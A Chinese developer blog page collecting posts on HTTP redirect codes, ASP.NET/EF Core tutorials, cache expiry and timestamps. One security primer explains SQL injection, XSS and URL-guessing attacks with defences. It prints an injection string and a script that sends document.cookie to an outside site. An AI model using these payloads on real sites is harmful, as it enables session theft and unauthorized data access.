博客 (148)

一、概述

    重定向常常和请求转发放在一起讨论(前者是两次不相关的请求,后者是一次请求服务器端转发),然而本文并不讨论两者的区别,而是HTTP 1.0规范和HTTP 1.1规范中关于重定向的区别,以及实际使用中的情况。

    重定向实际使用是一个响应码(301或302或303或307)和一个响应头location,当浏览器收到响应的时候check响应码是3xx,则会取出响应头中location对应的url(重定向中url的编码问题,请参看点击打开链接),然后将该url替换浏览器地址栏并发起另一次HTTP事务。

    关于301、302、303、307的区别,找不到好的文章,因此打算直撸HTTP 1.0规范和HTTP 1.1规范,结合一些实际的案例和tomcat实现,来说清楚这几个状态码的差异。

1. 百度https重定向

    如下图所示,原请求访问的是http://www.baidu.com,然后返回302和location=https://www.baidu.com,从http转到https。不过关于响应行中302状态码的描述存在争议,在下文中会详细讨论。

20160302023117361.png

20160302022905326.png

20160302022920077.png

2. tomcat重定向源码

20160302023539001.png

二、详细

    http 1.0规范中有2个重定向——301和302,在http 1.1规范中存在4个重定向——301、302、303和307,其中302是值得讨论讨论的。

1. http 1.0

301

    301状态码在HTTP 1.0和HTTP 1.1规范中均代表永久重定向,对于资源请求,原来的url和响应头中location的url而言,资源应该对应location中的url。对于post请求的重定向,还是需要用户确认之后才能重定向,并且应该以post方法发出重定向请求。

    关于post请求重定向用户确认的问题,实际上浏览器都没有实现;而且post请求的重定向应该发起post请求,这里浏览器也并不一定遵守,所以说HTTP规范的实现并未严格按照HTTP规范的语义。

    在301中资源对应的路径修改为location的url,在SEO中并未出现问题,但是在302中就出现了302劫持问题,请往下看。

20160302031823754.png

302

    在http 1.0规范中,302表示临时重定向,location中的地址不应该被认为是资源路径,在后续的请求中应该继续使用原地址。

    规范:原请求是post,则不能自动进行重定向;原请求是get,可以自动重定向;

    实现:浏览器和服务器的实现并没有严格遵守HTTP中302的规范,服务器不加遵守的返回302,浏览器即便原请求是post也会自动重定向,导致规范和实现出现了二义性,由此衍生了一些问题,譬如302劫持,因此在HTTP 1.1中将302的规范细化成了303和307,希望以此来消除二义性。

    补充:302劫持——A站通过重定向到B站的资源xxoo,A站实际上什么都没做但是有一个比较友好的域名,web资源xxoo存在B站并由B站提供,但是B站的域名不那么友好,因此对搜索引擎而言,可能会保存A站的地址对应xxoo资源而不是B站,这就意味着B站出了资源版权、带宽、服务器的钱,但是用户通过搜索引擎搜索xxoo资源的时候出来的是A站,A站什么都没做却被索搜引擎广而告之用户,B站做了一切却不被用户知道,价值被A站窃取了。

20160302024330129.png

2. http 1.1

301

    和http 1.0规范中保持一致,注意资源对应的路径应该是location中返回的url,而不再是原请求地址。

302

    在HTTP 1.1中,实际上302是不再推荐使用的,只是为了兼容而作保留。规范中再次重申只有当原请求是GET or HEAD方式的时候才能自动的重定向,为了消除HTTP 1.0中302的二义性,在HTTP 1.1中引入了303和307来细化HTTP 1.0中302的语义。

20160302034048122.png

303

    在HTTP 1.0的时候,302的规范是原请求是post不可以自动重定向,但是服务器和浏览器的实现是运行重定向。

    把HTTP 1.0规范中302的规范和实现拆分开,分别赋予HTTP 1.1中303和307,因此在HTTP 1.1中,303继承了HTTP 1.0中302的实现(即原请求是post,也允许自动进行重定向,结果是无论原请求是get还是post,都可以自动进行重定向),而307则继承了HTTP 1.0中302的规范(即如果原请求是post,则不允许进行自动重定向,结果是post不重定向,get可以自动重定向)。

20160302050017182.png

307

    在http 1.1规范中,307为临时重定向,注意划红线的部分,如果重定向307的原请求不是get或者head方法,那么浏览器一定不能自动的进行重定向,即便location有url,也应该忽略。

    也就是307继承了302在HTTP 1.0中的规范(303继承了302在HTTP 1.0中的实现)。

20160302045035716.png

3. 小结

    在HTTP 1.0规范中,302的规范并没有被服务器和浏览器遵守,即规范和实现出现了二义性,因此在HTTP 1.1中,将302的规范和实现拆分成了303和307。


20160304095217787.png

三、结论

    虽然在不同版本的http规范中对重定向赋予了不同的语义,但是因为使用历史和服务器实现等原因,在实际中并不一定安全按照http规范实现,因此我个人感觉上述讨论只是一个了解,在实际写代码中302还是继续用吧···


参考:

1. 《http 1.0规范》
2. 《http 1.1规范》

3. 博客:点击打开链接


附注:

    本文如有错漏,烦请不吝指正,谢谢!


转自 唐无敌 8 年前
6,152
  1. 在 NuGet 中安装 Microsoft.AspNetCore.Session 和 Newtonsoft.Json

  2. 打开 Startup.cs,在 ConfigureServices 方法中加入(视情况配置相关属性)

    services.AddSession(options =>
    {
        // 设置了一个较短的时间,方便测试
        options.IdleTimeout = TimeSpan.FromSeconds(10);
        options.CookieHttpOnly = true;
    });
  3. 在 Configure 方法中加入

    app.UseSession();
  4. 添加 Extensions 文件夹并添加类 SessionExtensions.cs

    using Microsoft.AspNetCore.Http;
    using Newtonsoft.Json;
    
    public static class SessionExtensions
    {
        public static void Set<T>(this ISession session, string key, T value)
        {
            session.SetString(key, JsonConvert.SerializeObject(value));
        }
    
        public static T Get<T>(this ISession session, string key)
        {
            var value = session.GetString(key);
            return value == null ? default(T) :
                                  JsonConvert.DeserializeObject<T>(value);
        }
    }
  5. 使用方法

    HttpContext.Session.Set("abc", 123);
    var v1 = HttpContext.Session.Get<int>("abc");
    HttpContext.Session.Remove("abc");
    var v2 = HttpContext.Session.Get<int>("abc");
    // v1 = 123, v2 = 0
xoyozo 8 年前
5,310

经测试,.NET Framework 4.8 的 Cache.Insert() 已恢复正常。

安装 .NET Framework 4.7 后,不管项目有没有升级到 .NET Framework 4.7,使用 Cache.Insert() 添加的自动过期的缓存都不会过期了,可以使用 Cache.Add() 来解决!

使用 Cache.Insert() 例:

HttpRuntime.Cache.Insert(key, value, null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration);

改为使用 Cache.Add():

HttpRuntime.Cache.Add(key, value, null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration, CacheItemPriority.Default, null);

如果 Cache 中已保存了具有相同 key 的项,则调用 Add 方法将不作任何更改。(Insert 方法则会覆盖该值)


完整测试代码:

public static DateTime DateTimeNow
{
    get
    {
        if (HttpRuntime.Cache["DateTimeNow"] == null)
        {
            HttpRuntime.Cache.Add("DateTimeNow", DateTime.Now, 
                null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration, 
                CacheItemPriority.Default, null);
        }
        return Convert.ToDateTime(HttpRuntime.Cache["DateTimeNow"]);
    }
}


在部分项目中(如 .NET Framework 4 项目中)发现上述改动仍不起作用,不会自动过期,那么可以采用以下方法:


方法一、可以记录将数据添加到 Cache 的时间,获取数据时判断该时间,超时则清除该 Cache 并重新赋值;

方法二、放弃缓存依赖,用定时器清除 Cache 数据。

xoyozo 8 年前
6,128

官方教程:Getting started with ASP.NET Core MVC and Entity Framework Core using Visual Studio


第一课:入门


Entity Framework Core NuGet 软件包


安装数据库提供程序(以 SQL Server 为例):其它数据库提供程序

Install-Package Microsoft.EntityFrameworkCore.SqlServer

该软件包依赖 Microsoft.EntityFrameworkCore 和 Microsoft.EntityFrameworkCore.Relational


新建数据模型


教程

课程注册 - 学生数据模型图

文件夹 Models 存放实体类


默认以 ID 或 类名ID 为主键列,并且是标识(即自动递增),以下代码可以取消标识,允许自定义 ID 值

[DatabaseGenerated(DatabaseGeneratedOption.None)]


导航属性:对于数据库来说就是外键,对一定义为实体类,对多定义为 ICollection<T>


字段类型可以是枚举 enum

创建数据库上下文

教程

在 Data 文件夹中创建一个名为 SchoolContext.cs 的类,继承于 DbContext

使用依赖注入注册上下文

教程


修改 Startup.cs 的 ConfigureServices 方法

在 appsettings.json 中配置数据库连接字符串

添加代码以使用测试数据初始化数据库

教程

在 Data 文件夹中创建一个名为 DbInitializer.cs 的类

修改 Startup.cs 的 Configure 方法

新建一个控制器和视图

在 Controllers 文件夹上右键,添加

MVC 依赖项选择 Minimal Dependencies 即可

会自动安装 NuGet 包:Microsoft.EntityFrameworkCore.Design 和 Microsoft.EntityFrameworkCore.SqlServer.Design

公约

表名优先来自 DbSet 属性名,其次是类名

实体属性名将映射为列名

实体属性名 ID 或 类名ID 将默认被设为主键

如果属性被命名,它将当作外键(例如,导航属性 Student 对应的实体 Student 的主键是 ID,所以 StudentID 是外键);


公约可以被覆盖,例如,可以指定表名,设置列名,并将任何属性设置为主键或外键。

异步代码

教程


第二课:新建、读取、更新和删除操作(CRUD)

自定义详细信息页面

Include() // 加载导航属性

ThenInclude() // 加载导航属性的导航属性

AsNoTracking() // 使该实体在当前上下文生命周期中不更新

SingleOrDefaultAsync() // 异步检索单个实体

路由数据

<a asp-action="Edit" asp-route-id="@item.ID">Edit</a>
<a asp-action="Edit" asp-route-studentID="@item.ID">Edit</a>

生成为

<a href="/Students/Edit/6">Edit</a>
<a href="/Students/Edit?studentID=6">Edit</a>

改进“新建页面”

在 HttpPost 的 Create 方法中,因为 ID 是自动递增的,所以可以从 Bind 中删除

[ValidateAntiForgeryToken] 搭配 if (ModelState.IsValid),用于实现验证,防止 CSRF 攻击

改进“删除页面”

在 HttpGet 的 Delete 方法中增加参数用于传递报错内容

在 HttpPost 的 Delete 方法中删除失败则 RedirectToAction 到 Delete 页面并带上报错参数

用”初始化和附加“的方法实现删除

Student studentToDelete = new Student() { ID = id };
_context.Entry(studentToDelete).State = EntityState.Deleted;

实例化要删除的实体(仅指定主键值),并将状态设置为 Deleted,即可在 SaveChanges 时实现删除,从而避免了删除必须先读取的情况。

处理交易

当 SaveChanges 时,EF 自动确保所有更改都成功或都失败,如果首先完成一些更改,然后发生错误,那么这些更改将自动回滚。

无追踪查询

什么情况下适用 AsNoTracking 方法:

在上下文中不需要更新任何实体,并且不需要加载导航属性(若需要导航属性,可以预先 Include 或稍后单独查询)

检索大量数据时,仅一小部分将被更新(稍后单独查询)

当前检索的实体需要在稍后以不同的目的附加(_context.Entry(*).State)


第三课:排序,过滤,分布和分组

添加列排序链接到学生索引页

教程

将“搜索框”添加到“学生索引”页面

教程

将分页功能添加到“学生索引”页面

教程

PaginatedList 类的使用

创建一个显示学生统计信息的关于页面

创建视图模型:在 Models 文件夹中创建一个 SchoolViewModels 文件夹,添加一个类文件 EnrollmentDateGroup.cs

修改 HomeController 添加上下文

使用 group by 进行分组查询


第四课:迁移


用于迁移的 NuGet 软件包

要使用迁移,可以使用包管理器控制台(PMC)或命令行界面(CLI)。教程

CLI 的另一种打开方式:在项目上右键 - 在文件资源管理器中打开文件夹,在地址栏上键入 cmd 回车


删除数据库的 CLI 命令

dotnet ef database drop

创建初始迁移

dotnet ef migrations add InitialCreate


创建数据库的代码位于 Migrations 文件夹中,Up 方法用于创建,Down 方法用于回滚

这时只生成了创建数据库的代码,并没有真正的创建数据库


多次创建的迁移会按时间戳的次序展示在 Migrations 文件夹中,数据库中记录了最后一次迁移的版本

检查数据模型快照

迁移会在 Migrations/SchoolContextModelSnapshot.cs 中创建当前数据库模式的快照,因此 EF Core 不必与数据库进行交互以创建迁移。

要删除最后一次迁移,执行:

dotnet ef migrations remove

将迁移应用于数据库

dotnet ef database update

执行完成会创建数据库结构,但表中的初始数据将在第一次运行时被添加


上次应用迁移之后创建的一个或多个新迁移,将在当前应用迁移时按顺序全部执行。


第五课:创建复杂的数据模型

实体图

通过使用属性自定义数据模型

[DataType(DataType.Date)]
[DisplayFormat(DataFormatString = "{0:yyyy-MM-dd}", ApplyFormatInEditMode = true)]

DataType 用于指定比数据库固有类型更具体的数据类型,上例指定为日期,而不是日期和时间

DateType 支持:Date, Time, PhoneNumber, Currency, EmailAddress 等等

DateType 支持传达数据的语义到 HTML5

DisplayFormat 用于指定格式

ApplyFormatInEditMode 指定是否当值显示在文本框中进行编辑时也应用此格式


[StringLength(50)]
[StringLength(50, ErrorMessage = "First name cannot be longer than 50 characters.")]
[RegularExpression(@"^[A-Z]+[a-zA-Z''-'\s]*$")]

StringLength 设置数据库中最大长度,并为客户端和服务端提供验证

StringLength 可以指定最小长度,但该值对数据库没有影响

StringLength 不会阻止用户输入空格,可以使用 RegularExpression 来限制

缩短最大长度会导致迁移时发出警告,为了保证顺利迁移,请先更改数据或重新选择合适的最大长度


[Column("FirstName")]
public string FirstMidName { get; set; }

上例将属性 FirstMidName 映射到数据库列名 FirstName

如何更改数据库中表的列名


[Required]

必需属性,不能为空的类型将自动处理必填字段,无需重复指定。


[Display(Name = "Last Name")]

显示属性,指定用于显示的名称


计算属性,只有一个 get 访问器,不会在数据库中生成列,例如:

public string FullName
{        
    get
    {
        return LastName + ", " + FirstMidName;
    }
}


可以将多个属性放在一行中:

[DataType(DataType.Date),Display(Name = "Hire Date"),DisplayFormat(DataFormatString = "{0:yyyy-MM-dd}", ApplyFormatInEditMode = true)]


在一对一的关系中,副表的主键名称不以副表实体 classnameID 命名,而以主表实体 classnameID 命名时,用 Key 属性来指定主键:

[Key]

或者需要以除 classnameID 或 ID 外的其它属性为主键,那么可以用 Key 


[Range(0, 5)]

指定数值范围


当有相关实体的导航属性时,EF 不要求在数据模型中添加外键属性。详情见教程


[DatabaseGenerated(DatabaseGeneratedOption.None)]

主键值由用户提供,而不是由数据库生成。


[Column(TypeName = "money")]
public decimal Budget { get; set; }

通常不需要列映射,此例将 decimal 类型的属性 Budget 映射为 money 类型的字段 Budget。


部门可能有负责人也可能没有,负责人必定是教师。因此 InstructorID 属性为教师实体的外键,并且可空,导航属性是被命名为 Administrator 的 Instructor 实体。

public int? InstructorID { get; set; }
public Instructor Administrator { get; set; }


通常,EF 允许对不可空的外键进行级联删除以久多对多关系。

例如,如果将 Department.InstructorID 属性定义为不可空,则 EF 将配置级联删除规则,以在删除部门时删除教师。如果我们想保留教师,但业务逻辑要求该 InstructorID 属性确实不可为空,则必须使用以下语句来禁用关系中的级联删除

modelBuilder.Entity<Department>()
   .HasOne(d => d.Administrator)
   .WithMany()
   .OnDelete(DeleteBehavior.Restrict)

补充,现在设计业务逻辑时会尽量避免删除操作,而使用禁用来代替,以在数据库中永久保留记录。


[DisplayFormat(NullDisplayText = "No grade")]

NullDisplayText 指定当值为 null 时的显示内容

联合主键

在多对多关系(教师到课程)的连接表(CourseAssignment)中,两个外键都不可为空,并且一同唯一标识表的每一行,因此不需要单独的主键,将 InstructorID 和 CourseID 作为一个联合主键。

定义联合主键不能通过使用属性来完成,唯一方法是使用 Fluent API,修改 Data/SchoolContext.cs 的 OnModelCreating 方法:

modelBuilder.Entity<CourseAssignment>().ToTable("CourseAssignment");
modelBuilder.Entity<CourseAssignment>()
    .HasKey(c => new { c.CourseID, c.InstructorID });

Fluent API 替代属性

protected override void OnModelCreating(ModelBuilder modelBuilder){
    modelBuilder.Entity<Blog>()
        .Property(b => b.Url)
        .IsRequired();
}

在本教程中,您只使用 Fluent API 进行数据库映射,而不能使用属性。您还可以使用 Fluent API 来指定可以使用属性执行的大多数格式化、验证和映射规则。一些属性(如 MinimumLength)不能应用 Fluent API,因为它不会更改数据库模式,它只适用于客户端和服务端验证。

一些开发人员喜欢专门使用 Fluent API,以保持实体类“干净”。当然可以混合使用属性和 Fluent API,但推荐只选择一种方式。如果混合使用,那么 Fluent API 会覆盖属性。

添加迁移

dotnet ef migrations add ComplexDataModel

如果在此时尝试运行命令 database update(不要这样做),您将收到以下错误:

ALTER TABLE语句与FOREIGN KEY约束“FK_dbo.Course_dbo.Department_DepartmentID”冲突。冲突发生在数据库“ContosoUniversity”,表“dbo.Department”,“DepartmentID”列。

这是因为在课程 Course 表增加了一个 DepartmentID 外键,而且是不可空的,又由于课程表中已经存在数据,所以无法 AddColumn。

我们可以创建一个临时部门,然后将它的 DepartmentID 值赋给 Course.DepartmentID 作为默认值。

打开 _ComplexDataModel.cs 文件,注释将 DepartmentID 添加到课程表的代码行,注释之,并在创建 Department 表的代码之后添加创建默认部门和添加 DepartmentID 的代码,详见教程


第六课:读取相关数据

预先加载、显式加载和延时加载

教程

  • 预先加载:当实体被读取时,相关数据随之被检索。即在单个连接查询中读取所有所需数据。通过 Include 和 ThenInclude 方法实现。

  • 显式加载:当实体首次读取时,不检索相关数据。如果需要再检索相关数据。显式加载会导致多次数据库查询。

  • 延时加载:当实体首次读取时,不检索相关数据。在首次尝试访问导航属性时,将自动检索该导航属性所需的数据。

* 从定义上看“显示加载”和“延时加载”比较类似,详细区别会在学完本课后有具体的了解。

创建一个显示部门名称的课程页面

教程

在课程列表中,每个课程都显示部门名称,因此使用预先加载。

在控制器中使用 Include 和 AsNoTracking

在视图中使用 @Html.DisplayFor(modelItem => item.Department.Name)

创建一个显示课程和报名的教师页面

教程

为教师页面创建一个视图模型 InstructorIndexData.cs

在控制器中多次使用 Include 和 ThenInclude 来预先加载相关数据

第一个 Include 加载办公室(一对零或一)

第二个 Include 加载课程(多对多)和报名课程的学生(多对多)

第三个 Include 加载课程(多对多)和课程所在部门(多对一)

本例中“课程的学生”和“课程的部门”是各自级联 ThenInclude 加载的,不能合并到同一个 Include 的课程中,因为 ThenInclude 不能读取多个分支的导航属性,每个分支都必须使用 Include 从教师实体调用。

在视图中给选择的教师添加 class 样式类

显式加载

教程

去掉 Include 和 AsNoTracking,然后在需要的时候附加相关的实体(上下文.Entry())来实现显式加载,以减少首次读取实体时的数据量。

await 上下文.Entry(单个实体).Collection(x=>x.导航属性).LoadAsync(); // 一对多

await 上下文.Entry(单个实体).Reference(x=>x.导航属性).LoadAsync(); // 一对一


第七课:更新相关数据

课程必须与部门关联,在新建和编辑课程时提供部门的下拉列表。

ViewBag.DepartmentID = new SelectList(departmentsQuery.AsNoTracking(), "DepartmentID", "Name", selectedDepartment);
<select asp-for="DepartmentID" class="form-control" asp-items="ViewBag.DepartmentID">
    <option value="">-- Select Department --</option>
</select>

SelectList 为下拉列表创建一个集合,允许指定默认选中项,并传递到 ViewBag。


将 .AsNoTracking() 添加到详细信息和删除方法


“一对零或一”关系:(本例是教师和办公室分配,抑或是文章和正文、学生和档案)

删除教师的办公室分配时,如果原先具有值,则删除办公室分配;

输入教师的办公室分配时,如果原先为空,则创建一个办公室分配;

更改教师的办公室分配时,更改现在有办公室分配值。

如何处理:

在 HttpGet 的 Edit 方法中,Include 办公室实体,并 AsNoTracking

在 HttpPost 的 Edit 方法中,移除除 id 以外的参数(为了不与 HttpGet 的 Edit 冲突,改名为 EditPost,并 ActionName("Edit"))

if (await TryUpdateModelAsync<Instructor>(
     instructorToUpdate,
     "",
     i => i.FirstMidName, i => i.LastName, i => i.HireDate, i => i.OfficeAssignment))

使用模型绑定器的值更新检索到的教师实体。TryUpdateModel 支持更新实体的导航属性。

我们可以直接设置实体的导航属性为 null,以便相关的行将被删除。


第八课:处理并发冲突

悲观并发,即锁定,性能差。

乐观并发:

[Timestamp]
public byte[] RowVersion { get; set; }

添加一个 timestamp 类型的 RowVersion 字段

详见教程


第九课:继承

教程


第十课:进阶专题

调用“返回实体”的查询

为了防止 SQL 注入,使用参数化查询:

public async Task<IActionResult> Details(int? id)
{
    if (id == null)
    {
        return NotFound();
    }
    
    string query = "SELECT * FROM Department WHERE DepartmentID = {0}";
    
    var department = await _context.Departments
        .FromSql(query, id)
        .Include(d => d.Administrator)
        .AsNoTracking()
        .SingleOrDefaultAsync();
        
    if (department == null)
    {
        return NotFound();
    }
        
    
    return View(department);
}

调用“返回其他类型”的查询

编写 SQL,而非 LINQ:

public async Task<ActionResult> About()
{
    List<EnrollmentDateGroup> groups = new List<EnrollmentDateGroup>();
    var conn = _context.Database.GetDbConnection();
    try
    {
        await conn.OpenAsync();
        using (var command = conn.CreateCommand())
        {
            string query = "SELECT EnrollmentDate, COUNT(*) AS StudentCount "
                + "FROM Person "
                + "WHERE Discriminator = 'Student' "
                + "GROUP BY EnrollmentDate";
            command.CommandText = query;
            DbDataReader reader = await command.ExecuteReaderAsync();

            if (reader.HasRows)
            {
                while (await reader.ReadAsync())
                {
                    var row = new EnrollmentDateGroup { EnrollmentDate = reader.GetDateTime(0), StudentCount = reader.GetInt32(1) };
                    groups.Add(row);
                }
            }
            reader.Dispose();
        }
    }
    finally
    {
        conn.Close();
    }
    return View(groups);
}

调用“更新”查询(批量更新)

使用参数化查询批量更新数据,返回受影响行数:

ViewData["RowsAffected"] = 
    await _context.Database.ExecuteSqlCommandAsync(
        "UPDATE Course SET Credits = Credits * {0}",
        parameters: multiplier);

检查发送到数据库的 SQL

有时,可以看到发送到数据库的实际 SQL 查询很有帮助。

第一步:设置一个断点

第二步:调试模式运行程序

第三步:在“输出”窗口可以看到 SQL 查询语句

自动变化检测

EF 通过将实体的当前值与原始值进行比较来确定实体如何更改。

一些方法会导致自动更改检测:

DbContext.SaveChages

DbContext.Entry

ChangeTracker.Entries

如果您正在跟踪大量实体,并且您在循环中多次调用上述方法之一,则可以通过临时关闭 AutoDetectChangesEnabled 属性,能显著提升性能。

_context.ChangeTracker.AutoDetectChangesEnabled = false;

从现有数据库反向工程

完整教程

常见错误

问:ContosoUniversity.dll 由另一个进程使用

答:在 IIS Express 中停止站点。

问:迁移在 Up 和 Down 方法中没有代码

原因:在运行migrations add命令时有未保存的更改

答:运行migrations remove命令,保存代码更改并重新运行migrations add命令。




xoyozo 8 年前
5,763

新建项目

使用 VS2017 / VS2015 新建项目 - ASP.NET Web 应用程序 - MVC - 个人身份验证

添加模型

右击 Models 文件夹,添加 Movie

using System;
using System.Data.Entity;

namespace MvcMovie.Models
{
    public class Movie
    {
        public int ID { get; set; }
        public string Title { get; set; }
        public DateTime ReleaseDate { get; set; }
        public string Genre { get; set; }
        public decimal Price { get; set; }
    }

    public class MovieDBContext : DbContext
    {
        public DbSet<Movie> Movies { get; set; }
    }
}

Movie 类表示一部电影,一个对象实例对应数据库中一行,每个属性对应表中一列。

MovieDBContext 代表 EF 数据库上下文,处理抓取、存储、更新。

创建连接字符串和使用 SQL Server 

打开 Web.config

在 <configuration /> 中的 <connectionStrings /> 中添加

<add name="MovieDBContext" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename=|DataDirectory|\Movies.mdf;Initial Catalog=Movies;Integrated Security=True"
      providerName="System.Data.SqlClient" />

name 必须与 DbContext 类的名称匹配(MovieDBContext)

这步将会把数据库文件 Movies.mdf 创建到 App_Data 文件夹中,你也可以使用其它 SQL Server 数据库的连接字符串,简单的方法是:

在“服务器资源管理器”中添加连接

从右击属性中获取连接字符串

从控制器访问模型的数据

右击 Controllers 文件夹添加控制器,选择 包含视图的 MVC 5 控制器(使用 Entity Framework)

模型类:Movie (MvcMovie.Models)

数据上下文类:MovieDBContext (MvcMovie.Models)

F5 运行,访问 /Movies 可添加、查看、编辑、删除影片

添加新字段

设置模型更改的 Code First 迁移

程序包管理器控制台窗口中,在 PM> 提示符下输入

Enable-Migrations -ContextTypeName MvcMovie.Models.MovieDBContext

在 Migrations 文件夹中新建了 Configurations.cs,打开并在 Seed 方法中加入

context.Movies.AddOrUpdate(i => i.Title,
  new Movie
  {
    Title = "When Harry Met Sally",
    ReleaseDate = DateTime.Parse("1989-1-11"),
    Genre = "Romantic Comedy",
    Price = 7.99M
  },
  new Movie
  {
    Title = "Ghostbusters ",
    ReleaseDate = DateTime.Parse("1984-3-13"),
    Genre = "Comedy",
    Price = 8.99M
  }
);

Seed() 将在每次迁移(PM>update-database)后被调用执行,AddOrUpdate 将执行 upsert 操作(有则 update,无则 insert)

AddOrUpdate 的第一个参数指定用于检查行是否已存在的属性

如果该属性值不唯,则出现异常

序列包含多个元素

创建迁移命令:

PM>add-migration Initial

名称“Initial”是任意的

执行迁移:

PM>update-database

F5 运行将显示种子数据

向 Movie 模型添加 Rating 属性

向 Movie 类添加属性,生成

public string Rating { get; set; }

CreateEdit Action 方法的 Bind 属性添加 Rating

更改各视图支持新的 Rating 属性

此时 F5 运行将提示

System.InvalidOperationException:“支持“MovieDBContext”上下文的模型已在数据库创建后发生更改。请考虑使用 Code First 迁移更新数据库(http://go.microsoft.com/fwlink/?LinkId=238269)。”

要解决错误除了手动往数据库中添加 Rating 字段外可以利用 Code First 迁移:

更新 Migrations\Configuration.cs 给每个 Movie 对象添加一个 Rating 字段

PM>add-migration Rating

名称 Rating 是任意的

创建了 DbMigration 的派生类 Rating,可以看到添加新列的代码

PM>update-database

数据库自动完成了对新字段的添加,当然 update-database 也会把种子数据还原。

参考

Getting Started with ASP.NET MVC 5

 

xoyozo 9 年前
4,303

互联网项目里边,SQL 注入漏洞XSS 漏洞猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。

这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得输入里的单引号进行转义

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说,假设页面输出为:

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。

要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。

最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

R
转自 Reginald 9 年前
5,396

UTC(世界协调时间)和 GMT(格林尼治标准时间)都与英国伦敦的本地时间相同。北京是东八区,即 UTC+8 或 GMT+0800

时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。

翻译成程序员语言就是指当前的本地时间与 1970-1-1 0:00:00 UTC 时间换算的本地时间相差的秒数
或者当前的 UTC 时间与 1970-1-1 0:00:00 UTC 时间相差的秒数

以我在北京时间 2000/1/1 8:00:00 站在东八区为例:

在 JS 中:

// 获取当前本地时间:
new Date()
// 返回:Jan 1 2000 8:00:00 GMT+0800(中国标准时间)

// 获取当前 UTC 时间字符串:
(Local Time).toUTCString()
// 返回:Jan 1 2000 0:00:00 GMT

// 初始化一个 UTC 时间 2000-1-1 0:00:00
new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0))

// 获取 UTC 时间的本地时间字符串:
(UTC Time).toLocaleString()


// 本地时间 1970/1/1 8:00:00 的时间戳
new Date(1970, 1 - 1, 1, 8, 0, 0).getTime() / 1000
// 返回:0

// 本地时间 2000/1/1 8:00:00 的时间戳
new Date(2000, 1 - 1, 1, 8, 0, 0).getTime() / 1000
// 返回:946684800

// 本地时间 当前 的时间戳
new Date().getTime() / 1000

// UTC 时间 2000/1/1 0:00:00 的时间戳
new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0)).getTime() / 1000
// 或
Date.UTC(2000, 1 - 1, 1, 0, 0, 0) / 1000
// 返回:946684800

在 C# 中:

DateTime 默认的 Kind 是 Local,使用 DateTime.SpecifyKind() 方法可以定义一个 UTC 时间
DateTime.Now 返回当前本地时间
DateTime.UtcNow 返回当前 UTC 时间

// 定义一个本地时间 2000/1/1 8:00:00
new DateTime(2000, 1, 1, 8, 0, 0)

// 定义一个 UTC 时间 2000/1/1 0:00:00
DateTime.SpecifyKind(new DateTime(2000, 1, 1), DateTimeKind.Utc)

